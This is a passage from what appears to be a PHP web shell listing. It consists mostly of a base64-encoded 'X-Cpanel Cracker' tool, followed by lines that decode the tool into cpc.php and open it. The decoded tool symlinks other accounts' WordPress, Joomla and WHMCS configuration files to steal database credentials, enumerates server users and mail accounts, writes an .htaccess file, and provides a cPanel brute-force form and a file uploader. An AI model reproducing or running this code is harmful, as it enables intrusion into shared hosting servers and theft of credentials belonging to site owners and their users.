LCRwZG9tYWluLid+fldvcmRwcmVzczEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywkcGRvbWFpbi4nfn5Xb3JkcHJlc3MyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGExLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fkpvb21sYTIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGEzLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0yLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG00LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG01LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTYudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htOC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htOS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJHBkb21haW4uJ35+NS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywkcGRvbWFpbi4nfn40LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJHBkb21haW4uJ35+aW52aXNpby50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJHBkb21haW4uJ35+Ny50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsJHBkb21haW4uJ35+OC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJHBkb21haW4uJ35+bWstcG9ydGFsZTEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywkcGRvbWFpbi4nfn4xMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRwZG9tYWluLid+flNtZi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywkcGRvbWFpbi4nfn5waHBiYjMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRwZG9tYWluLid+fmluZmluaXR5LnR4dCcpOwoJfQoKCQkJCSRkMG1haW5zID0gQGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpOwoJCQoJCQkJaWYoJGQwbWFpbnMpCgkJCQl7CgkJCQkJbWtkaXIoJGZuKTsKCQkJCQljaGRpcigkZm4pOwoJCQkJCQkJCQkJCgkJCQkJZm9yZWFjaCgkZDBtYWlucyBhcyAkZDBtYWluKQoJCQkJCXsKCQkJCQkJaWYoZXJlZ2koInpvbmUiLCRkMG1haW4pKQoJCQkJCQl7CgkJCQkJCQlwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsKCQkJCQkJCWZsdXNoKCk7CgkJCQkJCQkJCgkJCQkJCQlpZihzdHJsZW4odHJpbSgkZG9tYWluc1sxXVswXSkpID4gMikKCQkJCQkJCXsgCgkJCQkJCQkJJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbnNbMV1bMF0pKTsKCQkJCQkJCQkKCQkJCQkJCQlzeW1sKCR1c2VyWyduYW1lJ10sJGRvbWFpbnNbMV1bMF0pOwkJCQkJCgkJCQkJCQl9CgkJCQkJCX0KCQkJCQl9CgkJCQkJZWNobyAiPGNlbnRlcj48Zm9udCBjb2xvcj1saW1lIHNpemU9Mz5bIERvbmUgXTwvZm9udD48L2NlbnRlcj4iOwoJCQkJCWVjaG8gIjxicj48Y2VudGVyPjxhIGhyZWY9JGZuLyB0YXJnZXQ9X2JsYW5rPjxmb250IHNpemU9MyBjb2xvcj0jMDA5OTAwPnwgR28gSGVyZSB8PC9mb250PjwvYT48L2NlbnRlcj4iOyAKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQlta2RpcigkZm4pOwoJCQkJCWNoZGlyKCRmbik7CgkJCQkJJHRlbXAgPSAiIjsKCQkJCQkkdmFsMSA9IDA7CgkJCQkJJHZhbDIgPSAxMDAwOwoJCQkJCWZvcig7JHZhbDEgPD0gJHZhbDI7JHZhbDErKykgCgkJCQkJewoJCQkJCQkkdWlkID0gQHBvc2l4X2dldHB3dWlkKCR2YWwxKTsKCQkJCQkJaWYgKCR1aWQpCgkJCQkJCQkkdGVtcCAuPSBqb2luKCc6JywkdWlkKS4iXG4iOwoJCQkJCSB9CgkJCQkJIGVjaG8gJzxici8+JzsKCQkJCQkgJHRlbXAgPSB0cmltKCR0ZW1wKTsKCQkJCQkgCgkJCQkJICRmaWxlNSA9IGZvcGVuKCJ0ZXN0LnR4dCIsInciKTsKCQkJCQkgZnB1dHMoJGZpbGU1LCR0ZW1wKTsKCQkJCQkgZmNsb3NlKCRmaWxlNSk7CgokaHRhY2Nlc3MgPQonVDNCMGFXOXVjeUJoYkd3Z0NrUnBjbVZqZEc5eWVVbHVaR1Y0SUhKbFlXUnRaUzVvZEcxc0lBcEJaR1JVZVhCbElIUmxlSFF2Y0d4aAphVzRnTG5Cb2NDQUtRV1JrU0dGdVpHeGxjaUJ6WlhKMlpYSXRjR0Z5YzJWa0lDNXdhSEFnQ2tGa1pGUjVjR1VnZEdWNGRDOXdiR0ZwCmJpQXVhSFJ0YkNBS1FXUmtTR0Z1Wkd4bGNpQjBlSFFnTG1oMGJXd2dDbEpsY1hWcGNtVWdUbTl1WlNBS1UyRjBhWE5tZVNCQmJuaz0KJzsKJGZpbGUgPSBmb3BlbigiLmh0YWNjZXNzIiwidysiKTsKJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkaHRhY2Nlc3MpKTsKCQkJCQkgCgkJCQkJICRmaWxlID0gZm9wZW4oInRlc3QudHh0IiwgInIiKSBvciBleGl0KCJVbmFibGUgdG8gb3BlbiBmaWxlISIpOwoJCQkJCSB3aGlsZSghZmVvZigkZmlsZSkpCgkJCQkJIHsKCQkJCQkJJHMgPSBmZ2V0cygkZmlsZSk7CgkJCQkJCSRtYXRjaGVzID0gYXJyYXkoKTsKCQkJCQkJJHQgPSBwcmVnX21hdGNoKCcvXC8oLio/KVw6XC8vcycsICRzLCAkbWF0Y2hlcyk7CgkJCQkJCSRtYXRjaGVzID0gc3RyX3JlcGxhY2UoImhvbWUvIiwiIiwkbWF0Y2hlc1sxXSk7CgkJCQkJCWlmKHN0cmxlbigkbWF0Y2hlcykgPiAxMiB8fCBzdHJsZW4oJG1hdGNoZXMpID09IDAgfHwgJG1hdGNoZXMgPT0gImJpbiIgfHwgJG1hdGNoZXMgPT0gImV0Yy9YMTEvZnMiIHx8ICRtYXRjaGVzID09ICJ2YXIvbGliL25mcyIgfHwgJG1hdGNoZXMgPT0gInZhci9hcnB3YXRjaCIgfHwgJG1hdGNoZXMgPT0gInZhci9nb3BoZXIiIHx8ICRtYXRjaGVzID09ICJzYmluIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2FkbSIgfHwgJG1hdGNoZXMgPT0gInVzci9nYW1lcyIgfHwgJG1hdGNoZXMgPT0gInZhci9mdHAiIHx8ICRtYXRjaGVzID09ICJldGMvbnRwIiB8fCAkbWF0Y2hlcyA9PSAidmFyL3d3dyIgfHwgJG1hdGNoZXMgPT0gInZhci9uYW1lZCIpCgkJCQkJCQljb250aW51ZTsKCQkJCQkJc3ltbCgkbWF0Y2hlcywkbWF0Y2hlcyk7CgkJCQkJIH0KCQkJCQlmY2xvc2UoJGZpbGUpOwoJCQkJCWVjaG8gIjwvdGFibGU+IjsKCQkJCQl1bmxpbmsoInRlc3QudHh0Iik7CgkJCQkJZWNobyAiPGNlbnRlcj48Zm9udCBjb2xvcj1saW1lIHNpemU9Mz5bIERvbmUgXTwvZm9udD48L2NlbnRlcj4iOwoJCQkJCWVjaG8gIjxicj48Y2VudGVyPjxhIGhyZWY9JGZuLyB0YXJnZXQ9X2JsYW5rPjxmb250IHNpemU9MyBjb2xvcj0jMDA5OTAwPnwgR28gSGVyZSB8PC9mb250PjwvYT48L2NlbnRlcj4iOyAKCQkJCX0KZWNobyAiPGhyPjxjZW50ZXI+PGI+PGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+PDwgQkFDSzwvYT4iOwpleGl0Owp9Cj8+Cjxmb3JtIG1ldGhvZD0iUE9TVCIgdGFyZ2V0PSJfYmxhbmsiPgoJPHN0cm9uZz4KPGlucHV0IG5hbWU9InBhZ2UiIHR5cGU9ImhpZGRlbiIgdmFsdWU9ImZpbmQiPjx0YWJsZT4gICAgICAJCQkJCiAgICA8L3N0cm9uZz48YnI+PGJyPjxjZW50ZXI+PGZvbnQgc2l6ZT0iMyIgYWxpZ249ImNlbnRlciIgc3R5bGU9Iml0YWxpYyIgY29sb3I9IiMwMGZmMDAiPistLT1bIENwYW5lbCBCcnV0ZUZvcmNlIF09LS0rPC9mb250PjwvY2VudGVyPjxicj4KICAgIDx0YWJsZSB3aWR0aD0iNjAwIiBib3JkZXI9IjAiIGNsYXNzPSJ0YWJuZXQiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+Cgk8dHI+Cgk8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTIiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPgoJPGNlbnRlcj48Yj48Zm9udCBzaXplPSIzIiBzdHlsZT0iaXRhbGljIiBjb2xvcj0iIzAwZmYwMCI+WyBDcGFuZWwgQnJ1dGUgRm9yY2UgXTwvZm9udD48L2I+PC9jZW50ZXI+PC90ZD48L3RyPgogICAgPHRyPgogICAgPHRkPgogICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTIiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPgoJPHN0cm9uZz5Vc2VybmFtZSBMaXN0IDo8L3N0cm9uZz48L3RkPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij48c3Ryb25nPjx0ZXh0YXJlYSBjb2xzPSI3OSIgY2xhc3MgPSdpbnB1dHonIHJvd3M9IjEwIiBuYW1lPSJ1c2VybmFtZXMiPjw/cGhwIHN5c3RlbSgnbHMgL3Zhci9tYWlsJyk7Pz48L3RleHRhcmVhPjwvc3Ryb25nPjwvdGQ+CiAgICA8L3RyPgogICAgPHRyPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjbGFzcz0ic3R5bGUyIiBzdHlsZT0id2lkdGg6IDEzOXB4Ij4KCTxzdHJvbmc+UGFzc3dvcmQgTGlzdCA6PC9zdHJvbmc+PC90ZD4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz48dGV4dGFyZWEgY29scz0iNzkiIGNsYXNzID0naW5wdXR6JyByb3dzPSIxMCIgbmFtZT0icGFzc3dvcmRzIj48L3RleHRhcmVhPjwvc3Ryb25nPjwvdGQ+CiAgICA8L3RyPgogICAgPHRyPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjbGFzcz0ic3R5bGUyIiBzdHlsZT0id2lkdGg6IDEzOXB4Ij4KCTxzdHJvbmc+VHlwZSA6PC9zdHJvbmc+PC90ZD4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+CiAgICA8c3BhbiBjbGFzcz0ic3R5bGUyIj48c3Ryb25nPlNpbXBsZSA6IDwvc3Ryb25nPiA8L3NwYW4+Cgk8c3Ryb25nPgoJPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJ0eXBlIiB2YWx1ZT0ic2ltcGxlIiBjaGVja2VkPSJjaGVja2VkIiBjbGFzcz0ic3R5bGUzIj48L3N0cm9uZz4KICAgIDxmb250IGNsYXNzPSJzdHlsZTIiPjxzdHJvbmc+L2V0Yy9wYXNzd2QgOiA8L3N0cm9uZz4gPC9mb250PgoJPHN0cm9uZz4KCTxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0idHlwZSIgdmFsdWU9InBhc3N3ZCIgY2xhc3M9InN0eWxlMyI+PC9zdHJvbmc+PHNwYW4gY2xhc3M9InN0eWxlMyI+PHN0cm9uZz4KCTwvc3Ryb25nPgoJPC9zcGFuPgogICAgPC90ZD4KICAgIDwvdHI+CiAgICA8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjwvdGQ+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiICBjb2xzcGFuPSI1Ij48c3Ryb25nPjxpbnB1dCBjbGFzcyA9J2lucHV0emJ1dCcgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU3RhcnQiPgogICAgPC9zdHJvbmc+CiAgICA8L3RkPgogICAgPHRyPgo8L2Zvcm0+IAo8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTEiIGNvbHNwYW49IjYiPjxjZW50ZXI+PHN0cm9uZz5bIEdldCBDb25maWcgXTwvc3Ryb25nPjwvY2VudGVyPjwvdGQ+CiAgICAJCQkJPC90cj4KPGZvcm0gbWV0aG9kPSJQT1NUIiB0YXJnZXQ9Il9ibGFuayI+Cgk8c3Ryb25nPgo8aW5wdXQgbmFtZT0ibWVuZGFwYXRrYW4iIHR5cGU9ImhpZGRlbiIgdmFsdWU9InBhc3N3ZCI+ICAgICAgICAJCQkJCiAgICA8L3N0cm9uZz4KICAgIDx0cj4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9IndpZHRoOiAxMzlweCI+PHN0cm9uZz5Gb2xkZXIgTmFtZSA6PC9zdHJvbmc+PC90ZD4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSI+PHN0cm9uZz48aW5wdXQgY2xhc3MgPSdpbnB1dHonIHNpemU9IjUwIiBuYW1lPSJmb2xkZXJuYW1lIiB0eXBlPSJ0ZXh0Ij48L3N0cm9uZz48L3RkPgoJPC9zdHJvbmc+CiAgICA8L3RkPgogICAgPC90cj4KICAgIDx0cj4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9IndpZHRoOiAxMzlweCI+PC90ZD4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz48aW5wdXQgY2xhc3MgPSdpbnB1dHpidXQnIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdPIj4KICAgIDwvc3Ryb25nPgogICAgPC90ZD4KICAgIDx0cj4KPC9mb3JtPiAgIAo8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTEiIGNvbHNwYW49IjYiPjxjZW50ZXI+PHN0cm9uZz5bIEdldCBXb3JkbGlzdCBdPC9zdHJvbmc+PC9jZW50ZXI+PC90ZD4KICAgIAkJCQk8L3RyPgo8Zm9ybSBtZXRob2Q9IlBPU1QiIHRhcmdldD0iX2JsYW5rIj4KCTxzdHJvbmc+CjxpbnB1dCBuYW1lPSJwYXNzIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJwYXNzd29yZCI+ICAgICAgICAJCQkJCiAgICA8L3N0cm9uZz4KICAgIDx0cj4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9IndpZHRoOiAxMzlweCI+PHN0cm9uZz5VcmwgQ29uZmlnIDo8L3N0cm9uZz48L3RkPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1Ij48c3Ryb25nPjxpbnB1dCBjbGFzcyA9J2lucHV0eicgc2l6ZT0iNTAiIG5hbWU9InVybCIgdHlwZT0idGV4dCIgdmFsdWU9Imh0dHA6Ly93d3cuIj48L3N0cm9uZz48L3RkPgoJPC9zdHJvbmc+CiAgICA8L3RkPgogICAgPC90cj4KICAgIDx0cj4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9IndpZHRoOiAxMzlweCI+PC90ZD4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz48aW5wdXQgY2xhc3MgPSdpbnB1dHpidXQnIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdPIj4KICAgIDwvc3Ryb25nPgogICAgPC90ZD4KICAgIDx0cj4KPC9mb3JtPgo8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTEiIGNvbHNwYW49IjYiPjxjZW50ZXI+PHN0cm9uZz5bIEluZm8gCglTZWN1cml0eSBdPC9zdHJvbmc+PC9jZW50ZXI+PC90ZD4KICAgIAkJCQk8L3RyPgogICAgPHRyPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0id2lkdGg6IDEzOXB4Ij48c3Ryb25nPlNhZmUgTW9kZTwvc3Ryb25nPjwvdGQ+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiPgoJPHN0cm9uZz4KPD9waHAKJHNhZmVfbW9kZSA9IGluaV9nZXQoJ3NhZmVfbW9kZScpOwppZigkc2FmZV9tb2RlPT0nMScpCnsKZWNobyAnT04nOwp9ZWxzZXsKZWNobyAnT0ZGJzsKfQoKPz4JCgk8L3N0cm9uZz4JCgk8L3RkPgogICAgCQkJCTwvdHI+CiAgICA8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjxzdHJvbmc+RGVzaWJsZSBGdW5jdGlvbjwvc3Ryb25nPjwvdGQ+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiPgoJPHN0cm9uZz4KPGZvcm0gbWV0aG9kPSJQT1NUIiB0YXJnZXQ9Il9ibGFuayI+Cgk8c3Ryb25nPgo8aW5wdXQgbmFtZT0ibWF0aWthbiIgdHlwZT0iaGlkZGVuIiB2YWx1ZT0ic2VrYXRhbiI+ICAgICAgICAJCQkJCiAgICA8L3N0cm9uZz4KCjw/cGhwCmlmKCcnPT0oJGZ1bmM9QGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpKQp7CmVjaG8gIjxmb250IGNvbG9yPSMwMGZmMDA+Tm8gU2VjdXJpdHkgZm9yIEZ1bmN0aW9uPC9mb250PjwvYj4iOwp9ZWxzZXsKZWNobyAnPHNjcmlwdD5hbGVydCgiUGxlYXNlIHNlZSBiZWxvdyBhbmQgcHJlc3MgPlBsZWFzZSBDbGljayBIZXJlIEZpcnN0ITwiKTs8L3NjcmlwdD4nOwplY2hvICI8Zm9udCBjb2xvcj1yZWQ+JGZ1bmM8L2ZvbnQ+PC9iPiI7CmVjaG8gJzx0cj48dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjwvdGQ+JzsKZWNobyAnPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij48c3Ryb25nPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJQbGVhc2UgQ2xpY2sgSGVyZSBGaXJzdCEiPgogICAgPC9zdHJvbmc+CiAgICA8L3RkPjwvdHI+JzsKfQo/Pjwvc3Ryb25nPjwvdGQ+PC90cj48L3RhYmxlPjwvdGFibGU+PC90YWJsZT4KPD8KYnJlYWs7CgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjYmRzCgpjYXNlICcnOgoKPz48P3BocCAKCmJyZWFrOwoKCi8vIFVwbG9hZGVyCmNhc2UgJ3VwbG9hZGVyJzoKCmVjaG8gJzxjZW50ZXI+PGI+Ky0tPVsgVXBsb2FkZXIgXT0tLSs8L2I+PGJyPjxicj48YnI+PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbmFtZT0idXBsb2FkZXIiIGlkPSJ1cGxvYWRlciI+JzsKZWNobyAnPGNlbnRlcj48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+PC9jZW50ZXI+JzsKaWYoICRfUE9TVFsnX3VwbCddID09ICJVcGxvYWQiICkgewoJaWYoQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpIHsgZWNobyAnPHAgYWxpZ249ImNlbnRlciI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgCgpzaXplPSIxIj48Zm9udCBjb2xvcj0id2hpdGUiPiBEb25lICEhPC9mb250Pjxicj4nOyB9CgllbHNlIHsgZWNobyAnPGZvbnQgY29sb3I9IiNGRjAwMDAiPkZhaWxlZCA6KCA8L2ZvbnQ+PC9wPgoJPC90ZD48L3RhYmxlPjwvdHI+CgonOyB9Cn0KYnJlYWs7Cgp9fQo/Pjxicj48YnI+PGJyPjxjZW50ZXI+PGZvcm0gYWN0aW9uPScnIG1ldGhvZD0ncG9zdCc+Cjx0YWJsZSBjbGFzcz0ndGFibmV0JyBzdHlsZT0nd2lkdGg6NjUwcHg7JyBib3JkZXI9Jyc+Cjx0aCBjb2xzcGFuPTEwPlNlY3VyaXR5IEluZm88L3RoPjx0cj4KPHRkPlN5c3RlbSA8L3RkPgo8dGQ+PD9waHAKZWNobyBwaHBfdW5hbWUoKTs/PjwvdGQ+CjwvdHI+CiA8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiIgc3R5bGU9IndpZHRoOiAxMzlweCI+U2FmZSBNb2RlPC90ZD4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIiBjb2xzcGFuPSI1Ij4KPD9waHAKJHNhZmVfbW9kZSA9IGluaV9nZXQoJ3NhZmVfbW9kZScpOwppZigkc2FmZV9tb2RlPT0nMScpCnsKZWNobyAnT04nOwp9ZWxzZXsKZWNobyAnT0ZGJzsKfQoKPz4JCgk8L3RkPgogICAgCQkJCTwvdHI+CgkJCQkJICA8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiIgc3R5bGU9IndpZHRoOiAxMzlweCI+RGVzaWJsZSBGdW5jdGlvbjwvdGQ+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiIgY29sc3Bhbj0iNSI+Cgo8Zm9ybSBtZXRob2Q9IlBPU1QiIHRhcmdldD0iX2JsYW5rIj4KCjxpbnB1dCBuYW1lPSJtYXRpa2FuIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJzZWthdGFuIj4gICAgICAgIAkJCQkKCgo8P3BocAppZignJz09KCRmdW5jPUBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpKSkKewplY2hvICI8Zm9udCBjb2xvcj0jMDBmZjAwPk5vIFNlY3VyaXR5IGZvciBGdW5jdGlvbjwvZm9udD48L2I+IjsKfWVsc2V7CmVjaG8gJzxzY3JpcHQ+YWxlcnQoIlBsZWFzZSBzZWUgYmVsb3cgYW5kIHByZXNzID5QbGVhc2UgQ2xpY2sgSGVyZSBGaXJzdCE8Iik7PC9zY3JpcHQ+JzsKZWNobyAiPGZvbnQgY29sb3I9cmVkPiRmdW5jPC9mb250PjwvYj4iOwplY2hvICc8dHI+PHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0id2lkdGg6IDEzOXB4Ij48L3RkPic7CmVjaG8gJzx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUGxlYXNlIENsaWNrIEhlcmUgRmlyc3QhIj4KICAgIDwvdGQ+PC90cj4nOwp9Cj8+PHRyPgoKPC90YWJsZT48L2Zvcm0+PC9jZW50ZXI+CjxjZW50ZXI+PGJyPjxicj48Yj48ZGl2IGNsYXNzPSJpbmZvIj4tPVsgWC1DcGFuZWwgQ3JhY2tlciBieSA8c3BhbiBjbGFzcz0iZ2F5YSI+PGEgaHJlZj0iaHR0cDovL2ZhY2Vib29rLmNvbS93YWpkYW4uYnV0dCI+V2FqZGFuIEJ1dHQ8L2E+PC9zcGFuPiBdPS08L2Rpdj4gCjxkaXYgY2xhc3M9ImpheWEiPiAgJmNvcHk7IDIwMTQgVmFqMSBWMXJ1czwvZGl2PjwvY2VudGVyPjwvYj48YnI+PGJyPgoKPC9ib2R5PjwvaHRtbD4=';
  2721. $file = fopen("cpc.php","w");
  2722. $write = fwrite ($file ,base64_decode($cpc));
  2723. fclose($file);
  2724. header("location:cpc.php"); }
  2725.  
  2726. if(isset($_POST['Symlinker'])){
